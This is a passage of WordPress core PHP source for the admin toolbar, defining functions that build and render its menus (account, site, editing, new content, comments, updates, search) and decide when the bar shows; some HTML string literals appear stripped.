initialize(); $wp_admin_bar->add_menus(); return true; } /** * Renders the admin bar to the page based on the $wp_admin_bar->menu member var. * * This is called very early on the {@see 'wp_body_open'} action so that it will render * before anything else being added to the page body. * * For backward compatibility with themes not using the 'wp_body_open' action, * the function is also called late on {@see 'wp_footer'}. * * It includes the {@see 'admin_bar_menu'} action which should be used to hook in and * add new menus to the admin bar. This also gives you access to the `$post` global, * among others. * * @since 3.1.0 * @since 5.4.0 Called on 'wp_body_open' action first, with 'wp_footer' as a fallback. * * @global WP_Admin_Bar $wp_admin_bar */ function wp_admin_bar_render() { global $wp_admin_bar; static $rendered = false; if ( $rendered ) { return; } if ( ! is_admin_bar_showing() || ! is_object( $wp_admin_bar ) ) { return; } /** * Loads all necessary admin bar items. * * This hook can add, remove, or manipulate admin bar items. The priority * determines the placement for new items, and changes to existing items * would require a high priority. To remove or manipulate existing nodes * without a specific priority, use `wp_before_admin_bar_render`. * * @since 3.1.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance, passed by reference. */ do_action_ref_array( 'admin_bar_menu', array( &$wp_admin_bar ) ); /** * Fires before the admin bar is rendered. * * @since 3.1.0 */ do_action( 'wp_before_admin_bar_render' ); $wp_admin_bar->render(); /** * Fires after the admin bar is rendered. * * @since 3.1.0 */ do_action( 'wp_after_admin_bar_render' ); $rendered = true; } /** * Adds the WordPress logo menu. * * @since 3.3.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_wp_menu( $wp_admin_bar ) { if ( current_user_can( 'read' ) ) { $about_url = self_admin_url( 'about.php' ); $contribute_url = self_admin_url( 'contribute.php' ); } elseif ( is_multisite() ) { $about_url = get_dashboard_url( get_current_user_id(), 'about.php' ); $contribute_url = get_dashboard_url( get_current_user_id(), 'contribute.php' ); } else { $about_url = false; $contribute_url = false; } $wp_logo_menu_args = array( 'id' => 'wp-logo', 'title' => '' . /* translators: Hidden accessibility text. */ __( 'About WordPress' ) . '', 'href' => $about_url, 'meta' => array( 'menu_title' => __( 'About WordPress' ), ), ); // Set tabindex="0" to make sub menus accessible when no URL is available. if ( ! $about_url ) { $wp_logo_menu_args['meta'] = array( 'tabindex' => 0, ); } $wp_admin_bar->add_node( $wp_logo_menu_args ); if ( $about_url ) { // Add "About WordPress" link. $wp_admin_bar->add_node( array( 'parent' => 'wp-logo', 'id' => 'about', 'title' => __( 'About WordPress' ), 'href' => $about_url, ) ); } if ( $contribute_url ) { // Add contribute link. $wp_admin_bar->add_node( array( 'parent' => 'wp-logo', 'id' => 'contribute', 'title' => __( 'Get Involved' ), 'href' => $contribute_url, ) ); } // Add WordPress.org link. $wp_admin_bar->add_node( array( 'parent' => 'wp-logo-external', 'id' => 'wporg', 'title' => __( 'WordPress.org' ), 'href' => __( 'https://wordpress.org/' ), ) ); // Add documentation link. $wp_admin_bar->add_node( array( 'parent' => 'wp-logo-external', 'id' => 'documentation', 'title' => __( 'Documentation' ), 'href' => __( 'https://wordpress.org/documentation/' ), ) ); // Add learn link. $wp_admin_bar->add_node( array( 'parent' => 'wp-logo-external', 'id' => 'learn', 'title' => __( 'Learn WordPress' ), 'href' => __( 'https://learn.wordpress.org/' ), ) ); // Add forums link. $wp_admin_bar->add_node( array( 'parent' => 'wp-logo-external', 'id' => 'support-forums', 'title' => __( 'Support' ), 'href' => __( 'https://wordpress.org/support/forums/' ), ) ); // Add feedback link. $wp_admin_bar->add_node( array( 'parent' => 'wp-logo-external', 'id' => 'feedback', 'title' => __( 'Feedback' ), 'href' => __( 'https://wordpress.org/support/forum/requests-and-feedback' ), ) ); } /** * Adds the sidebar toggle button. * * @since 3.8.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_sidebar_toggle( $wp_admin_bar ) { if ( is_admin() ) { $wp_admin_bar->add_node( array( 'id' => 'menu-toggle', 'title' => '' . /* translators: Hidden accessibility text. */ __( 'Menu' ) . '', 'href' => '#', ) ); } } /** * Adds the "My Account" item. * * @since 3.3.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_my_account_item( $wp_admin_bar ) { $user_id = get_current_user_id(); if ( ! $user_id ) { return; } if ( current_user_can( 'read' ) ) { $profile_url = get_edit_profile_url( $user_id ); } elseif ( is_multisite() ) { $profile_url = get_dashboard_url( $user_id, 'profile.php' ); } else { $profile_url = false; } /* translators: %s: Current user's display name. */ $howdy = sprintf( __( 'Howdy, %s' ), '' . wp_get_current_user()->display_name . '' ); $avatar = get_avatar( $user_id, 26 ); $wp_admin_bar->add_node( array( 'id' => 'my-account', 'parent' => 'top-secondary', 'title' => $howdy . $avatar, 'href' => $profile_url, 'meta' => array( 'class' => empty( $avatar ) ? '' : 'with-avatar', 'menu_title' => wp_strip_all_tags( $howdy ), 'tabindex' => ( false !== $profile_url ) ? '' : 0, ), ) ); } /** * Adds the "My Account" submenu items. * * @since 3.1.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_my_account_menu( $wp_admin_bar ) { $user_id = get_current_user_id(); $current_user = wp_get_current_user(); if ( ! $user_id ) { return; } if ( current_user_can( 'read' ) ) { $profile_url = get_edit_profile_url( $user_id ); } elseif ( is_multisite() ) { $profile_url = get_dashboard_url( $user_id, 'profile.php' ); } else { $profile_url = false; } $wp_admin_bar->add_group( array( 'parent' => 'my-account', 'id' => 'user-actions', ) ); $user_info = get_avatar( $user_id, 64 ); $user_info .= "{$current_user->display_name}"; if ( $current_user->display_name !== $current_user->user_login ) { $user_info .= "{$current_user->user_login}"; } if ( false !== $profile_url ) { $user_info .= "" . __( 'Edit Profile' ) . ''; } $wp_admin_bar->add_node( array( 'parent' => 'user-actions', 'id' => 'user-info', 'title' => $user_info, 'href' => $profile_url, ) ); $wp_admin_bar->add_node( array( 'parent' => 'user-actions', 'id' => 'logout', 'title' => __( 'Log Out' ), 'href' => wp_logout_url(), ) ); } /** * Adds the "Site Name" menu. * * @since 3.3.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_site_menu( $wp_admin_bar ) { // Don't show for logged out users. if ( ! is_user_logged_in() ) { return; } // Show only when the user is a member of this site, or they're a super admin. if ( ! is_user_member_of_blog() && ! current_user_can( 'manage_network' ) ) { return; } $blogname = get_bloginfo( 'name' ); if ( ! $blogname ) { $blogname = preg_replace( '#^(https?://)?(www\.)?#', '', get_home_url() ); } if ( is_network_admin() ) { /* translators: %s: Site title. */ $blogname = sprintf( __( 'Network Admin: %s' ), esc_html( get_network()->site_name ) ); } elseif ( is_user_admin() ) { /* translators: %s: Site title. */ $blogname = sprintf( __( 'User Dashboard: %s' ), esc_html( get_network()->site_name ) ); } $title = wp_html_excerpt( $blogname, 40, '…' ); $wp_admin_bar->add_node( array( 'id' => 'site-name', 'title' => $title, 'href' => ( is_admin() || ! current_user_can( 'read' ) ) ? home_url( '/' ) : admin_url(), 'meta' => array( 'menu_title' => $title, ), ) ); // Create submenu items. if ( is_admin() ) { // Add an option to visit the site. $wp_admin_bar->add_node( array( 'parent' => 'site-name', 'id' => 'view-site', 'title' => __( 'Visit Site' ), 'href' => home_url( '/' ), ) ); if ( is_blog_admin() && is_multisite() && current_user_can( 'manage_sites' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'site-name', 'id' => 'edit-site', 'title' => __( 'Manage Site' ), 'href' => network_admin_url( 'site-info.php?id=' . get_current_blog_id() ), ) ); } } elseif ( current_user_can( 'read' ) ) { // We're on the front end, link to the Dashboard. $wp_admin_bar->add_node( array( 'parent' => 'site-name', 'id' => 'dashboard', 'title' => __( 'Dashboard' ), 'href' => admin_url(), ) ); // Add the appearance submenu items. wp_admin_bar_appearance_menu( $wp_admin_bar ); // Add a Plugins link. if ( current_user_can( 'activate_plugins' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'site-name', 'id' => 'plugins', 'title' => __( 'Plugins' ), 'href' => admin_url( 'plugins.php' ), ) ); } } } /** * Adds the "Edit Site" link to the Toolbar. * * @since 5.9.0 * @since 6.3.0 Added `$_wp_current_template_id` global for editing of current template directly from the admin bar. * @since 6.6.0 Added the `canvas` query arg to the Site Editor link. * * @global string $_wp_current_template_id * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_edit_site_menu( $wp_admin_bar ) { global $_wp_current_template_id; // Don't show if a block theme is not activated. if ( ! wp_is_block_theme() ) { return; } // Don't show for users who can't edit theme options or when in the admin. if ( ! current_user_can( 'edit_theme_options' ) || is_admin() ) { return; } $wp_admin_bar->add_node( array( 'id' => 'site-editor', 'title' => __( 'Edit Site' ), 'href' => add_query_arg( array( 'postType' => 'wp_template', 'postId' => $_wp_current_template_id, 'canvas' => 'edit', ), admin_url( 'site-editor.php' ) ), ) ); } /** * Adds the "Customize" link to the Toolbar. * * @since 4.3.0 * * @global WP_Customize_Manager $wp_customize * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_customize_menu( $wp_admin_bar ) { global $wp_customize; // Don't show if a block theme is activated and no plugins use the customizer. if ( wp_is_block_theme() && ! has_action( 'customize_register' ) ) { return; } // Don't show for users who can't access the customizer or when in the admin. if ( ! current_user_can( 'customize' ) || is_admin() ) { return; } // Don't show if the user cannot edit a given customize_changeset post currently being previewed. if ( is_customize_preview() && $wp_customize->changeset_post_id() && ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->edit_post, $wp_customize->changeset_post_id() ) ) { return; } $current_url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; if ( is_customize_preview() && $wp_customize->changeset_uuid() ) { $current_url = remove_query_arg( 'customize_changeset_uuid', $current_url ); } $customize_url = add_query_arg( 'url', urlencode( $current_url ), wp_customize_url() ); if ( is_customize_preview() ) { $customize_url = add_query_arg( array( 'changeset_uuid' => $wp_customize->changeset_uuid() ), $customize_url ); } $wp_admin_bar->add_node( array( 'id' => 'customize', 'title' => __( 'Customize' ), 'href' => $customize_url, 'meta' => array( 'class' => 'hide-if-no-customize', ), ) ); add_action( 'wp_before_admin_bar_render', 'wp_customize_support_script' ); } /** * Adds the "My Sites/[Site Name]" menu and all submenus. * * @since 3.1.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_my_sites_menu( $wp_admin_bar ) { // Don't show for logged out users or single site mode. if ( ! is_user_logged_in() || ! is_multisite() ) { return; } // Show only when the user has at least one site, or they're a super admin. if ( count( $wp_admin_bar->user->blogs ) < 1 && ! current_user_can( 'manage_network' ) ) { return; } if ( $wp_admin_bar->user->active_blog ) { $my_sites_url = get_admin_url( $wp_admin_bar->user->active_blog->blog_id, 'my-sites.php' ); } else { $my_sites_url = admin_url( 'my-sites.php' ); } $wp_admin_bar->add_node( array( 'id' => 'my-sites', 'title' => __( 'My Sites' ), 'href' => $my_sites_url, ) ); if ( current_user_can( 'manage_network' ) ) { $wp_admin_bar->add_group( array( 'parent' => 'my-sites', 'id' => 'my-sites-super-admin', ) ); $wp_admin_bar->add_node( array( 'parent' => 'my-sites-super-admin', 'id' => 'network-admin', 'title' => __( 'Network Admin' ), 'href' => network_admin_url(), ) ); $wp_admin_bar->add_node( array( 'parent' => 'network-admin', 'id' => 'network-admin-d', 'title' => __( 'Dashboard' ), 'href' => network_admin_url(), ) ); if ( current_user_can( 'manage_sites' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'network-admin', 'id' => 'network-admin-s', 'title' => __( 'Sites' ), 'href' => network_admin_url( 'sites.php' ), ) ); } if ( current_user_can( 'manage_network_users' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'network-admin', 'id' => 'network-admin-u', 'title' => __( 'Users' ), 'href' => network_admin_url( 'users.php' ), ) ); } if ( current_user_can( 'manage_network_themes' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'network-admin', 'id' => 'network-admin-t', 'title' => __( 'Themes' ), 'href' => network_admin_url( 'themes.php' ), ) ); } if ( current_user_can( 'manage_network_plugins' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'network-admin', 'id' => 'network-admin-p', 'title' => __( 'Plugins' ), 'href' => network_admin_url( 'plugins.php' ), ) ); } if ( current_user_can( 'manage_network_options' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'network-admin', 'id' => 'network-admin-o', 'title' => __( 'Settings' ), 'href' => network_admin_url( 'settings.php' ), ) ); } } // Add site links. $wp_admin_bar->add_group( array( 'parent' => 'my-sites', 'id' => 'my-sites-list', 'meta' => array( 'class' => current_user_can( 'manage_network' ) ? 'ab-sub-secondary' : '', ), ) ); /** * Filters whether to show the site icons in toolbar. * * Returning false to this hook is the recommended way to hide site icons in the toolbar. * A truthy return may have negative performance impact on large multisites. * * @since 6.0.0 * * @param bool $show_site_icons Whether site icons should be shown in the toolbar. Default true. */ $show_site_icons = apply_filters( 'wp_admin_bar_show_site_icons', true ); foreach ( (array) $wp_admin_bar->user->blogs as $blog ) { switch_to_blog( $blog->userblog_id ); if ( true === $show_site_icons && has_site_icon() ) { $blavatar = sprintf( '', esc_url( get_site_icon_url( 16 ) ), esc_url( get_site_icon_url( 32 ) ), ( wp_lazy_loading_enabled( 'img', 'site_icon_in_toolbar' ) ? ' loading="lazy"' : '' ) ); } else { $blavatar = '
'; } $blogname = $blog->blogname; if ( ! $blogname ) { $blogname = preg_replace( '#^(https?://)?(www\.)?#', '', get_home_url() ); } $menu_id = 'blog-' . $blog->userblog_id; if ( current_user_can( 'read' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'my-sites-list', 'id' => $menu_id, 'title' => $blavatar . $blogname, 'href' => admin_url(), ) ); $wp_admin_bar->add_node( array( 'parent' => $menu_id, 'id' => $menu_id . '-d', 'title' => __( 'Dashboard' ), 'href' => admin_url(), ) ); } else { $wp_admin_bar->add_node( array( 'parent' => 'my-sites-list', 'id' => $menu_id, 'title' => $blavatar . $blogname, 'href' => home_url(), ) ); } if ( current_user_can( get_post_type_object( 'post' )->cap->create_posts ) ) { $wp_admin_bar->add_node( array( 'parent' => $menu_id, 'id' => $menu_id . '-n', 'title' => get_post_type_object( 'post' )->labels->new_item, 'href' => admin_url( 'post-new.php' ), ) ); } if ( current_user_can( 'edit_posts' ) ) { $wp_admin_bar->add_node( array( 'parent' => $menu_id, 'id' => $menu_id . '-c', 'title' => __( 'Manage Comments' ), 'href' => admin_url( 'edit-comments.php' ), ) ); } $wp_admin_bar->add_node( array( 'parent' => $menu_id, 'id' => $menu_id . '-v', 'title' => __( 'Visit Site' ), 'href' => home_url( '/' ), ) ); restore_current_blog(); } } /** * Provides a shortlink. * * @since 3.1.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_shortlink_menu( $wp_admin_bar ) { $short = wp_get_shortlink( 0, 'query' ); $id = 'get-shortlink'; if ( empty( $short ) ) { return; } $html = ''; $wp_admin_bar->add_node( array( 'id' => $id, 'title' => __( 'Shortlink' ), 'href' => $short, 'meta' => array( 'html' => $html ), ) ); } /** * Provides an edit link for posts and terms. * * @since 3.1.0 * @since 5.5.0 Added a "View Post" link on Comments screen for a single post. * * @global WP_Term $tag * @global WP_Query $wp_the_query WordPress Query object. * @global int $user_id The ID of the user being edited. Not to be confused with the * global $user_ID, which contains the ID of the current user. * @global int $post_id The ID of the post when editing comments for a single post. * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_edit_menu( $wp_admin_bar ) { global $tag, $wp_the_query, $user_id, $post_id; if ( is_admin() ) { $current_screen = get_current_screen(); $post = get_post(); $post_type_object = null; if ( 'post' === $current_screen->base ) { $post_type_object = get_post_type_object( $post->post_type ); } elseif ( 'edit' === $current_screen->base ) { $post_type_object = get_post_type_object( $current_screen->post_type ); } elseif ( 'edit-comments' === $current_screen->base && $post_id ) { $post = get_post( $post_id ); if ( $post ) { $post_type_object = get_post_type_object( $post->post_type ); } } if ( ( 'post' === $current_screen->base || 'edit-comments' === $current_screen->base ) && 'add' !== $current_screen->action && ( $post_type_object ) && current_user_can( 'read_post', $post->ID ) && ( $post_type_object->public ) && ( $post_type_object->show_in_admin_bar ) ) { if ( 'draft' === $post->post_status ) { $preview_link = get_preview_post_link( $post ); $wp_admin_bar->add_node( array( 'id' => 'preview', 'title' => $post_type_object->labels->view_item, 'href' => esc_url( $preview_link ), 'meta' => array( 'target' => 'wp-preview-' . $post->ID ), ) ); } else { $wp_admin_bar->add_node( array( 'id' => 'view', 'title' => $post_type_object->labels->view_item, 'href' => get_permalink( $post->ID ), ) ); } } elseif ( 'edit' === $current_screen->base && ( $post_type_object ) && ( $post_type_object->public ) && ( $post_type_object->show_in_admin_bar ) && ( get_post_type_archive_link( $post_type_object->name ) ) && ! ( 'post' === $post_type_object->name && 'posts' === get_option( 'show_on_front' ) ) ) { $wp_admin_bar->add_node( array( 'id' => 'archive', 'title' => $post_type_object->labels->view_items, 'href' => get_post_type_archive_link( $current_screen->post_type ), ) ); } elseif ( 'term' === $current_screen->base && isset( $tag ) && is_object( $tag ) && ! is_wp_error( $tag ) ) { $tax = get_taxonomy( $tag->taxonomy ); if ( is_term_publicly_viewable( $tag ) ) { $wp_admin_bar->add_node( array( 'id' => 'view', 'title' => $tax->labels->view_item, 'href' => get_term_link( $tag ), ) ); } } elseif ( 'user-edit' === $current_screen->base && isset( $user_id ) ) { $user_object = get_userdata( $user_id ); $view_link = get_author_posts_url( $user_object->ID ); if ( $user_object->exists() && $view_link ) { $wp_admin_bar->add_node( array( 'id' => 'view', 'title' => __( 'View User' ), 'href' => $view_link, ) ); } } } else { $current_object = $wp_the_query->get_queried_object(); if ( empty( $current_object ) ) { return; } if ( ! empty( $current_object->post_type ) ) { $post_type_object = get_post_type_object( $current_object->post_type ); $edit_post_link = get_edit_post_link( $current_object->ID ); if ( $post_type_object && $edit_post_link && current_user_can( 'edit_post', $current_object->ID ) && $post_type_object->show_in_admin_bar ) { $wp_admin_bar->add_node( array( 'id' => 'edit', 'title' => $post_type_object->labels->edit_item, 'href' => $edit_post_link, ) ); } } elseif ( ! empty( $current_object->taxonomy ) ) { $tax = get_taxonomy( $current_object->taxonomy ); $edit_term_link = get_edit_term_link( $current_object->term_id, $current_object->taxonomy ); if ( $tax && $edit_term_link && current_user_can( 'edit_term', $current_object->term_id ) ) { $wp_admin_bar->add_node( array( 'id' => 'edit', 'title' => $tax->labels->edit_item, 'href' => $edit_term_link, ) ); } } elseif ( $current_object instanceof WP_User && current_user_can( 'edit_user', $current_object->ID ) ) { $edit_user_link = get_edit_user_link( $current_object->ID ); if ( $edit_user_link ) { $wp_admin_bar->add_node( array( 'id' => 'edit', 'title' => __( 'Edit User' ), 'href' => $edit_user_link, ) ); } } } } /** * Adds the command palette trigger button. * * Displays a button in the admin bar that shows the keyboard shortcut * for opening the command palette. * * @since 7.0.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_command_palette_menu( WP_Admin_Bar $wp_admin_bar ): void { if ( ! is_admin() || ! wp_script_is( 'wp-core-commands', 'enqueued' ) ) { return; } $shortcut_labels = array( 'appleOS' => _x( '⌘K', 'keyboard shortcut to open the command palette' ), 'default' => _x( 'Ctrl+K', 'keyboard shortcut to open the command palette' ), ); $apple_pattern = 'Macintosh|Mac OS X|Mac_PowerPC'; $is_apple_os = (bool) preg_match( "/{$apple_pattern}/i", $_SERVER['HTTP_USER_AGENT'] ?? '' ); $shortcut_label = $is_apple_os ? $shortcut_labels['appleOS'] : $shortcut_labels['default']; $title = sprintf( '%s %s', $shortcut_label, /* translators: Hidden accessibility text. */ __( 'Open command palette' ), ); /* * Detect Apple OS via JavaScript for sites behind a CDN blocking the UA header. * * Running the script as the admin bar is rendered avoids a flash of incorrect content * for users with Apple OS when the UA header is blocked. It also prevents the need for * wp-i18n to be loaded as a dependency. */ $function = <<<'JS' ( applePattern, appleOSLabel ) => { if ( ! ( new RegExp( applePattern, 'i' ) ).test( navigator.userAgent ) ) { return; } const kbd = document.querySelector( '#wp-admin-bar-command-palette .ab-label kbd' ); if ( kbd ) { kbd.textContent = appleOSLabel; } } JS; $script = sprintf( '( %s )( %s, %s );', $function, wp_json_encode( $apple_pattern, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ), wp_json_encode( $shortcut_labels['appleOS'], JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ); $script .= "\n//# sourceURL=" . rawurlencode( __FUNCTION__ ); $wp_admin_bar->add_node( array( 'id' => 'command-palette', 'title' => $title, 'href' => '#', 'meta' => array( 'class' => 'hide-if-no-js', 'onclick' => 'wp.data.dispatch( "core/commands" ).open(); return false;', 'html' => wp_get_inline_script_tag( $script ), ), ) ); } /** * Adds "Add New" menu. * * @since 3.1.0 * @since 6.5.0 Added a New Site link for network installations. * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_new_content_menu( $wp_admin_bar ) { $actions = array(); $cpts = (array) get_post_types( array( 'show_in_admin_bar' => true ), 'objects' ); if ( isset( $cpts['post'] ) && current_user_can( $cpts['post']->cap->create_posts ) ) { $actions['post-new.php'] = array( $cpts['post']->labels->name_admin_bar, 'new-post' ); } if ( isset( $cpts['attachment'] ) && current_user_can( 'upload_files' ) ) { $actions['media-new.php'] = array( $cpts['attachment']->labels->name_admin_bar, 'new-media' ); } if ( current_user_can( 'manage_links' ) ) { $actions['link-add.php'] = array( _x( 'Link', 'add new from admin bar' ), 'new-link' ); } if ( isset( $cpts['page'] ) && current_user_can( $cpts['page']->cap->create_posts ) ) { $actions['post-new.php?post_type=page'] = array( $cpts['page']->labels->name_admin_bar, 'new-page' ); } unset( $cpts['post'], $cpts['page'], $cpts['attachment'] ); // Add any additional custom post types. foreach ( $cpts as $cpt ) { if ( ! current_user_can( $cpt->cap->create_posts ) ) { continue; } $key = 'post-new.php?post_type=' . $cpt->name; $actions[ $key ] = array( $cpt->labels->name_admin_bar, 'new-' . $cpt->name ); } // Avoid clash with parent node and a 'content' post type. if ( isset( $actions['post-new.php?post_type=content'] ) ) { $actions['post-new.php?post_type=content'][1] = 'add-new-content'; } if ( current_user_can( 'create_users' ) || ( is_multisite() && current_user_can( 'promote_users' ) ) ) { $actions['user-new.php'] = array( _x( 'User', 'add new from admin bar' ), 'new-user' ); } if ( ! $actions ) { return; } $title = '' . _x( 'New', 'admin bar menu group label' ) . ''; $wp_admin_bar->add_node( array( 'id' => 'new-content', 'title' => $title, 'href' => admin_url( current( array_keys( $actions ) ) ), 'meta' => array( 'menu_title' => _x( 'New', 'admin bar menu group label' ), ), ) ); foreach ( $actions as $link => $action ) { list( $title, $id ) = $action; $wp_admin_bar->add_node( array( 'parent' => 'new-content', 'id' => $id, 'title' => $title, 'href' => admin_url( $link ), ) ); } if ( is_multisite() && current_user_can( 'create_sites' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'new-content', 'id' => 'add-new-site', 'title' => _x( 'Site', 'add new from admin bar' ), 'href' => network_admin_url( 'site-new.php' ), ) ); } } /** * Adds edit comments link with awaiting moderation count bubble. * * @since 3.1.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_comments_menu( $wp_admin_bar ) { if ( ! current_user_can( 'edit_posts' ) ) { return; } $awaiting_mod = wp_count_comments(); $awaiting_mod = $awaiting_mod->moderated; $awaiting_text = sprintf( /* translators: Hidden accessibility text. %s: Number of comments. */ _n( '%s Comment in moderation', '%s Comments in moderation', $awaiting_mod ), number_format_i18n( $awaiting_mod ) ); $icon = ''; $title = ''; $title .= '' . $awaiting_text . ''; $wp_admin_bar->add_node( array( 'id' => 'comments', 'title' => $icon . $title, 'href' => admin_url( 'edit-comments.php' ), ) ); } /** * Adds appearance submenu items to the "Site Name" menu. * * @since 3.1.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_appearance_menu( $wp_admin_bar ) { $wp_admin_bar->add_group( array( 'parent' => 'site-name', 'id' => 'appearance', ) ); if ( current_user_can( 'switch_themes' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'appearance', 'id' => 'themes', 'title' => __( 'Themes' ), 'href' => admin_url( 'themes.php' ), ) ); } if ( ! current_user_can( 'edit_theme_options' ) ) { return; } if ( current_theme_supports( 'widgets' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'appearance', 'id' => 'widgets', 'title' => __( 'Widgets' ), 'href' => admin_url( 'widgets.php' ), ) ); } if ( current_theme_supports( 'menus' ) || current_theme_supports( 'widgets' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'appearance', 'id' => 'menus', 'title' => __( 'Menus' ), 'href' => admin_url( 'nav-menus.php' ), ) ); } if ( current_theme_supports( 'custom-background' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'appearance', 'id' => 'background', 'title' => _x( 'Background', 'custom background' ), 'href' => admin_url( 'themes.php?page=custom-background' ), 'meta' => array( 'class' => 'hide-if-customize', ), ) ); } if ( current_theme_supports( 'custom-header' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'appearance', 'id' => 'header', 'title' => _x( 'Header', 'custom image header' ), 'href' => admin_url( 'themes.php?page=custom-header' ), 'meta' => array( 'class' => 'hide-if-customize', ), ) ); } } /** * Provides an update link if theme/plugin/core updates are available. * * @since 3.1.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_updates_menu( $wp_admin_bar ) { $update_data = wp_get_update_data(); if ( ! $update_data['counts']['total'] ) { return; } $updates_text = sprintf( /* translators: Hidden accessibility text. %s: Total number of updates available. */ _n( '%s update available', '%s updates available', $update_data['counts']['total'] ), number_format_i18n( $update_data['counts']['total'] ) ); $icon = ''; $title = ''; $title .= '' . $updates_text . ''; $wp_admin_bar->add_node( array( 'id' => 'updates', 'title' => $icon . $title, 'href' => network_admin_url( 'update-core.php' ), ) ); } /** * Adds search form. * * @since 3.3.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_search_menu( $wp_admin_bar ) { if ( is_admin() ) { return; } $form = '
'; $form .= ''; $form .= ''; $form .= ''; $form .= '
'; $wp_admin_bar->add_node( array( 'parent' => 'top-secondary', 'id' => 'search', 'title' => $form, 'meta' => array( 'class' => 'admin-bar-search', 'tabindex' => -1, ), ) ); } /** * Adds a link to exit recovery mode when Recovery Mode is active. * * @since 5.2.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_recovery_mode_menu( $wp_admin_bar ) { if ( ! wp_is_recovery_mode() ) { return; } $url = wp_login_url(); $url = add_query_arg( 'action', WP_Recovery_Mode::EXIT_ACTION, $url ); $url = wp_nonce_url( $url, WP_Recovery_Mode::EXIT_ACTION ); $wp_admin_bar->add_node( array( 'parent' => 'top-secondary', 'id' => 'recovery-mode', 'title' => __( 'Exit Recovery Mode' ), 'href' => $url, ) ); } /** * Adds secondary menus. * * @since 3.3.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_add_secondary_groups( $wp_admin_bar ) { $wp_admin_bar->add_group( array( 'id' => 'top-secondary', 'meta' => array( 'class' => 'ab-top-secondary', ), ) ); $wp_admin_bar->add_group( array( 'parent' => 'wp-logo', 'id' => 'wp-logo-external', 'meta' => array( 'class' => 'ab-sub-secondary', ), ) ); } /** * Enqueues inline style to hide the admin bar when printing. * * @since 6.4.0 */ function wp_enqueue_admin_bar_header_styles() { // Back-compat for plugins that disable functionality by unhooking this action. $action = is_admin() ? 'admin_head' : 'wp_head'; if ( ! has_action( $action, 'wp_admin_bar_header' ) ) { return; } remove_action( $action, 'wp_admin_bar_header' ); wp_add_inline_style( 'admin-bar', '@media print { #wpadminbar { display:none; } }' ); } /** * Enqueues inline bump styles to make room for the admin bar. * * @since 6.4.0 */ function wp_enqueue_admin_bar_bump_styles() { if ( current_theme_supports( 'admin-bar' ) ) { $admin_bar_args = get_theme_support( 'admin-bar' ); $header_callback = $admin_bar_args[0]['callback']; } if ( empty( $header_callback ) ) { $header_callback = '_admin_bar_bump_cb'; } if ( '_admin_bar_bump_cb' !== $header_callback ) { return; } // Back-compat for plugins that disable functionality by unhooking this action. if ( ! has_action( 'wp_head', $header_callback ) ) { return; } remove_action( 'wp_head', $header_callback ); $css = ' @media screen { html { margin-top: 32px !important; } } @media screen and ( max-width: 782px ) { html { margin-top: 46px !important; } } '; wp_add_inline_style( 'admin-bar', $css ); } /** * Sets the display status of the admin bar. * * This can be called immediately upon plugin load. It does not need to be called * from a function hooked to the {@see 'init'} action. * * @since 3.1.0 * * @global bool $show_admin_bar * * @param bool $show Whether to allow the admin bar to show. */ function show_admin_bar( $show ) { global $show_admin_bar; $show_admin_bar = (bool) $show; } /** * Determines whether the admin bar should be showing. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 3.1.0 * * @global bool $show_admin_bar * @global string $pagenow The filename of the current screen. * * @return bool Whether the admin bar should be showing. */ function is_admin_bar_showing() { global $show_admin_bar, $pagenow; // For all these types of requests, we never want an admin bar. if ( defined( 'XMLRPC_REQUEST' ) || defined( 'DOING_AJAX' ) || defined( 'IFRAME_REQUEST' ) || wp_is_json_request() ) { return false; } if ( is_embed() ) { return false; } // Integrated into the admin. if ( is_admin() ) { return true; } if ( ! isset( $show_admin_bar ) ) { if ( ! is_user_logged_in() || 'wp-login.php' === $pagenow ) { $show_admin_bar = false; } else { 